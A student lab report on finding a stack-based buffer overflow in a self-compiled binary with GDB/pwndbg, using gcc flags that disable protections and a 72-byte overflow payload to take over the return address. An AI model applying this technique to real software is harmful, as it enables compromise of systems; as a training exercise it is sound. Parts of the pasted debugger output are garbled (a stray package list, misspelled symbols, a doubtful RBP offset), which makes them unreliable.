

# Practical Report: Exploit Development Basics

## Objective

To analyze a vulnerable binary using GDB with pwndbg, identify a stack-based buffer overflow, calculate the offset to the instruction pointer (RIP), and confirm control over program execution flow.

## Tools & Environment Used

- Operating System: Kali Linux (x86\_64)
- Debugger: GDB
- Extension: pwndbg
- Compiler: gcc (binary compiled without stack protection)
- Architecture: 64-bit ELF

## Program Description

The target binary (`vuln`) contains a vulnerable function that takes user input without proper bounds checking, making it susceptible to a stack-based buffer overflow.



```
kali@kali: ~
Session Actions Edit View Help
(kali㉿kali)-[~]
$ nano vuln.c
(kali㉿kali)-[~]
$ gcc vuln.c -o vuln -fno-stack-protector -z execstack -no-pie
(kali㉿kali)-[~]
$ ls
2026-02-20-ZAP-Report-  Downloads          Public           Videos
2026-02-20-ZAP-Report-.html   go              suricata_alerts.json
Desktop                   metasploitable_nmap.xml  suricata_lab_summary.txt
django-DefectDojo        Music             suricata_mitre_attack_mapping.md
Documents                 Pictures          Templates
(kali㉿kali)-[~]
$ strings vuln
/lib64/ld-linux-x86_64.so.2
_isoc23_scnaf
__libc_start_main
printf
libc.so.6
GLIBC_2.38
GLIBC_2.2.5
GLIBC_2.34
__gmon_start__
PTE1
H= @@ Input: %s ;*3$" GCC: (Debian 15.2.0-12) 15.2.0
crt1.o
__abi_tag
crtstuff.c
deregister_tm_clones
__do_global_dtors_aux
completed.0
__do_global_dtors_aux_fini_array_entry
frame_dummy
__frame_dummy_init_array_entry
vuln.c
__FRAME_END__
__DYNAMIC
__GNU_EH_FRAME_HDR
_GLOBAL_OFFSET_TABLE_
__libc_start_main@GLIBC_2.34
_edata
_fini
printf@GLIBC_2.2.5
_isoc23_scnaf@GLIBC_2.38
__data_start
__gmon_start__
__dso_handle
_T0_stdin_used
```

## Steps Performed

### 1. Initial Debugging Setup

The program was executed inside GDB with pwndbg enabled.

```
gdb ./vuln
```



This allowed enhanced visualization of registers, stack, and instructions.

## 2. Attempt to Use Pattern in GDB (Issue Faced)

Command attempted:

```
(gdb) pattern create 200
```

```
(gdb) run <<< $(python3 -c "print('A'*200)")
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/kali/vuln <<< $(python3 -c "print('A'*200)")
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/usr/lib/x86_64-linux-gnu/libthread_db.so.1".

Breakpoint 1, 0x00000000040113e in vulnerable ()
(gdb) info registers
rax      0x401177      4198775
rbx      0x7fffffffde78  140737488346744
rcx      0x403e00      4210176
rdx      0x7fffffffde88  140737488346760
rsi      0x7fffffffde78  140737488346744
rdi      0x1          1
rbp      0x7fffffffdd50  0x7fffffffdd50
rsp      0x7fffffffdd10  0x7fffffffdd10
r8       0x0          0
r9       0x7ffff7fc7b60  140737353907040
r10      0x7fffffffdb0  140737488345776
r11      0x202        514
r12      0x0          0
r13      0x7fffffffde88  140737488346760
r14      0x7ffff7ffd000  140737354125312
r15      0x403e00      4210176
rip      0x40113e      0x40113e <vulnerable+8>
eflags   0x202        [ IF ]
cs       0x33         51
ss       0x2b         43
ds       0x0          0
es       0x0          0
fs       0x0          0
gs       0x0          0
fs_base 0x7ffff7f9b740  140737353725760
gs_base 0x0          0
(gdb) █
```

### ✗ Problem Encountered

- `pattern` command was not recognized in default GDB.

### ✓ Solution

- Realized that `pattern` is a pwndbg feature, not native GDB.
- Switched to pwndbg commands (`cyclic`).



### 3. Cyclic Pattern Offset Calculation (Issue Faced)

### Attempted:

```
pwndbg> cyclic -l 0x6c6c6c6b6b6b6b
```

## Problem Encountered

- Error: *Pattern contains characters not present in the alphabet*
  - Cause: Value contained null bytes (`\x00`) due to 64-bit register padding.

## Solution

- Understood that partial overwrite occurred.
  - Used manual overwrite method instead of cyclic lookup.



## 4. Manual Offset Verification

Payload used:

```
run <<< $(python3 -c "print('A'*72 + 'BBBBBBBB')")
```

The screenshot shows the pwndbg debugger interface. The registers window displays various CPU registers with their current values. The stack window shows the memory dump starting at address 00:0000, where the RSP register points to the beginning of the payload ('BBBBBBBB'). The assembly dump window shows the instruction at address 0x401176, which is a RET instruction.

```
pwndbg> run <<< $(python3 -c "print('A'*72 + 'BBBBBBBB')")  
Starting program: /home/Kali/vuln <<< $(python3 -c "print('A'*72 + 'BBBBBBBB')")  
[Thread debugging using libthread_db enabled]  
Using host libthread_db library "/usr/lib/x86_64-linux-gnu/libthread_db.so.1".  
  
Program received signal SIGSEGV, Segmentation fault.  
0x0000000000401176 in vulnerable ()  
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA [ show-regs ] [ show-stack ] [ LAST SIGNAL ]  
  
Program received signal SIGSEGV (fault address: 0x0).  
[ REGISTERS / show-flags off / show-compact-reg off ]  
  
RAX 0x58  
RBX 0x7fffffffde78 → 0x7fffffff1f5 ← '/home/kali/vuln'  
RCX 0  
RDX 0  
RDI 0x7fffffffdb30 → 0x7fffffffdb60 ← 'Input:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBB\n'  
RSI 0x406320 ← 'Input:AAAAAAAAAAAAAAAAAAAAAAA  
R8 0  
R9 0  
R10 0  
R11 0x202  
R12 0  
R13 0x7fffffffde88 → 0xfffffff2e205 ← 'COLORFGBG=15;0'  
R14 0x7ffff7fd000 (_rtld_global) → 0x7ffff7fe2f0 ← 0  
R15 0x403e00 (_do_global_dtors_aux_fini_array_entry) → 0x401100 (_do_global_dtors_aux) ← endbr4  
RBP 0x4141414141414141 ('AAAAAAA')  
RSP 0x7fffffffdd58 ← 'BBBBBBBB'  
RIP 0x401176 (vulnerable+64) ← ret 4.0  
  
► 0x401176 <vulnerable+64> ret  
↓  
↳ tqm=1  
traitlets=1  
typing-extensions=15.0  
unicorn=1  
unix=0  
urllib=2.0.3  
uv=0.9.5  
uv=0.2.0  
wclwidth=0.2.13  
  
[ DISASM / x86-64 / set emulate on ]  
  
00:0000| rsp 0xffffffffdd58 ← 'BBBBBBBB'  
01:0008| 0x7fffffffdd60 ← 0  
02:0010| 0x7fffffffdd68 → 0x7ffff7c29f68 (_libc_start_main+120) ← mov edi, eax  
03:0018| 0x7fffffffdd70 ← 0  
04:0020| 0x7fffffffdd78 → 0x401177 (main) ← push rbp  
05:0028| 0x7fffffffdd80 ← 0x1ffffde60  
06:0030| 0x7fffffffdd88 → 0x7fffffffde78 → 0x7fffffff1f5 ← '/home/kali/vuln'  
07:0038| 0x7fffffffdd90 → 0x7fffffffde78 → 0x7fffffff1f5 ← '/home/kali/vuln'  
  
[ STACK ]
```

## 5. Crash Analysis

After execution, the program crashed with SIGSEGV.

Key observations from pwndbg:

### Registers

- RBP = 0x4141414141414141 → 'AAAAAAA'
- RSP = 'BBBBBBBB'
- RIP attempts to return to 0x42424242424242

### Disassembly

```
ret <0x4242424242424242>
```



```
[ STACK ]  
00:0000 |  rsp 0x7fffffffdd58 ← 'BBBBBBBB'  
01:0008 |  0x7fffffffdd60 ← 0  
02:0010 |  0x7fffffffdd68 → 0x7ffff7c29f68 (__libc_start_call_main+120) ← mov edi, eax  
03:0018 |  0x7fffffffdd70 ← 0  
04:0020 |  0x7fffffffdd78 → 0x401177 (main) ← push rbp  
05:0028 |  0x7fffffffdd80 ← 0x1ffffd60  
06:0030 |  0x7fffffffdd88 → 0x7fffffffde78 → 0x7fffffffef5 ← '/home/kali/vuln'  
07:0038 |  0x7fffffffdd90 → 0x7fffffffde78 → 0x7fffffffef5 ← '/home/kali/vuln'  
[ BACKTRACE ]  
▶ 0          0x401176 vulnerable+64  
1 0x4242424242424242 None  
2 0x0 None  
  
pwndbg> info registers  
rax      0x58          88  
rbx      0x7fffffffde78  140737488346744  
rcx      0x0          0  
rdx      0x0          0  
rsi      0x406320        4219680  
rdi      0x7fffffffdb30  140737488345904  
rbp      0x4141414141414141 0x4141414141414141  
rsp      0x7fffffffdd58  0x7fffffffdd58  
r8       0x0          0  
r9       0x0          0  
r10      0x0          0  
r11      0x202 ping-extension 514, 55, 0  
r12      0x0          0  
r13      0x7fffffffde88  140737488346760  
r14      0x7ffff7ffd000  140737354125312  
r15      0x403e00        4210176  
rip      0x401176        0x401176 <vulnerable+64>  
eflags   0x10202dth=0, j, f [ IF RF ]  
cs       0x33          51  
ss       0x2b          43  
ds       0x0          0  
es       0x0          0  
fs       0x0          0  
gs       0x0          0  
fs_base 0x7ffff7f9b740  140737353725760  
gs_base 0x0          0  
gs_base 0x0          0  
[END_OF_BLOCK]
```

## Stack Inspection

```
00: rsp → 'BBBBBBBB'
```

This confirms:

- Stack return address fully overwritten
- Full control over RIP achieved

## Result Analysis

Component	Value
Offset to RBP	72 bytes

Offset to RIP	72 bytes
Control over RIP	<input checked="" type="checkbox"/> Confirmed
Exploit Primitive	Stack-based buffer overflow

## Final Payload Structure

```
[A × 72] + [8-byte return address]
```

## Conclusion

The practical successfully demonstrated a stack-based buffer overflow vulnerability. By overflowing the buffer with controlled input, the return address was overwritten, giving full control over program execution flow. This confirms that the binary is exploitable and can be extended to ret2win, ret2libc, or ROP chain exploitation.

### ❖ Learning Outcomes

- Difference between GDB and pwndbg command
- Handling 64-bit cyclic pattern limitations
- Manual offset calculation
- Stack frame and register analysis
- Confirmation of RIP control